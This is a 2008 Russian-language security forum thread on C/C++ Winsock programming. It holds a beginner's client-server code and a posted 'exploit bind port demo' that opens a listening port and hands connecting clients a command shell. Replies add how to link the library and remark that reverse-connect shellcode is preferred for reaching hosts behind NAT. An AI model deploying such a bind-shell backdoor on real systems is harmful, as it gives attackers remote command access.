ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

09.07.2008, 06:35
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
Сообщение от procedure
Подскажите пожалуйста как можно сделать выход из программы.
а где именно нужен выход, после какого действия? 
|
|
|

09.07.2008, 09:07
|
|
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме: 414311
Репутация:
110
|
|
2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R
|
|
|

10.07.2008, 00:15
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме: 2360904
Репутация:
1393
|
|
Сообщение от izlesa
2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R
В никсе - Ctrl+Z 
|
|
|

11.07.2008, 17:10
|
|
Постоянный
Регистрация: 13.02.2007
Сообщений: 406
Провел на форуме: 2706059
Репутация:
206
|
|
недавно начал изучать с++, решил написать клиент -сервер, задача программы: в клиенте написать строку и что бы она выводилась на сервере.
всё компилируеться и запускаеться но почему то не работает, подскажите где ошибся
код сервера:
PHP код:
#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char* argv[])
{
char buff[1024];
WSAStartup(0x0202,(WSADATA *) &buff[0]);
SOCKET my_sock;
my_sock=socket(AF_INET,SOCK_STREAM, 0);
sockaddr_in local_addr;
local_addr.sin_family=AF_INET;
local_addr.sin_port=htons(777);
local_addr.sin_addr.s_addr=0;
bind(my_sock,(sockaddr *) &local_addr, sizeof(local_addr));
listen(my_sock,0x200);
sockaddr_in client_addr;
int size_addr = sizeof(client_addr);
char buffer[256];
while(SOCKET ozh=accept(my_sock,(sockaddr *) &client_addr, &size_addr) )
{
if(ozh<0)
{
break;
printf("critical error\n");
closesocket(ozh);
closesocket(my_sock);
}
else
{
printf("All right");
}
#define sHELLO "Hello, Sailor\r\n"
send(ozh,sHELLO,sizeof(sHELLO),0);
int i;
i=recv(ozh, buff, 256, 0);
cout << buff;
}
return 0;
}
код клиента:
PHP код:
// my.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
#define port 777
#define SERVERADDR "127.0.0.1"
int main(int argc, char* argv[])
{
char buff[1024];
WSAStartup(0x0202,(WSADATA *) &buff[0]);
SOCKET my_sock;
my_sock=socket(AF_INET,SOCK_STREAM, 0);
sockaddr_in local_addr;
local_addr.sin_family=AF_INET;
local_addr.sin_port=htons(777);
HOSTENT *hst;
if (inet_addr(SERVERADDR)!=INADDR_NONE)
local_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
else
if(gethostbyname(SERVERADDR))
((unsigned long *)&local_addr.sin_addr)[0]= ((unsigned long **)hst->h_addr_list)[0][0];
else
{
printf("error dns resolve!");
}
if(connect(my_sock,(sockaddr *)&local_addr, sizeof(local_addr)))
{
printf("connect error!\n");
return -1;
}
printf("join to server.."SERVERADDR "->OK!\n ");
int nsize;
while(nsize=recv(my_sock,&buff[0],sizeof(buff)-1,0)!=SOCKET_ERROR)
{
buff[nsize]=0;
printf("S<=C:"); fgets(&buff[0],sizeof(buff)-1,stdin);
if(!strcmp(&buff[0],"quit\n"))
{
printf("exit..");
closesocket(my_sock);
WSACleanup();
return 0;
}
send(my_sock, &buff[0],nsize, 0);
}
return 0;
}
компилятор visual c++ 6.0
|
|
|

11.07.2008, 19:29
|
|
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме: 65556
Репутация:
0
|
|
Помагите с компилировать етот код не получается пользуюсь dev-C++ ver 4.9.9.2
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h" // "обертка" вокруг командного интерпретатора
#define MY_PORT 666 // порт, который эксплоит будет слушать
#define MAX_BUF_SIZE 1024
DWORD WINAPI SexToClient(void *csocket);
int main()
{
int a;
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // буффер
int caddr_size = sizeof(caddr);
// TITLE
printf("exploit bind port demo\n");
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
// шаг 1: создание сокета
lsocket = socket(AF_INET, SOCK_STREAM, 0);
// шаг 2: связывание сокета с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
// шаг 3: слушаем сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");
// шаг 4: обрабатываем входящие подключения
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
// пытаемся получить доменное имя подключившегося узла
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);
// вызов нового потока для обслужвания клиента
// вообще-то для этого рекомендуется использовать _beginthreadex
// но с некоторыми предосторожностями можно обойтись и win32 API
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}
// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
return 0;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
|
|
|

11.07.2008, 20:55
|
|
Познающий
Регистрация: 22.03.2008
Сообщений: 63
Провел на форуме: 247838
Репутация:
65
|
|
to P-29
А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!
|
|
|

11.07.2008, 21:06
|
|
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме: 65556
Репутация:
0
|
|
Сообщение от _empty
to P-29
А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!
А как библеотеку добавлять.
|
|
|

11.07.2008, 21:49
|
|
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
Провел на форуме: 982101
Репутация:
13
|
|
Сообщение от P-29
А как библеотеку добавлять.
ну человек вы так не когда не научетесь..если не знаете как добавлять библиотеку а уже за такие дела беретесь
#include <>
|
|
|

11.07.2008, 21:57
|
|
Banned
Регистрация: 08.04.2005
Сообщений: 446
Провел на форуме: 2187381
Репутация:
518
|
|
Код:
// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
.... ах дык это так называется?  Чистый ХЭК однако
Код:
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
в настоящем шелкоде твоего кода не нужно!
во первых пишется он на ассемблере с контролем отсутствия спецсимволов (типа 0) во вторых пляшется от поиска функций кернела и загрузки винсок библиотеки... даже если она загружена.  Но самое главное бинд-шеллкоды не могут сделать главного "реверс коннект", чтоб атаковать компы за NAT-ом! Отгадай процентное соотношение тех кто за NAT и с реальными IP(белыми) . Поэтому BIND-SHELL это уже история !
P.S.
Код:
Сообщение от P-29
А как библеотеку добавлять.
присутствие библиотеки в коде определяется либо явной загрузкой, либо Project во вкладке Link
Последний раз редактировалось Delimiter; 11.07.2008 в 22:15..
|
|
|

11.07.2008, 22:20
|
|
Познающий
Регистрация: 04.07.2008
Сообщений: 56
Провел на форуме: 390892
Репутация:
60
|
|
P-29
линковать:
#pragma comment(lib, "Ws2_32.lib")
p.s. покажи какие ошибки
p.p.s
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
Дай пожалуйста ссылку, откуда ты это взял.
SVAROG
Где именно ошибка? Сделай проверку функций на ошибки с выводом их кодов (WSAGetLastError).
Последний раз редактировалось SlyBit; 11.07.2008 в 22:31..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|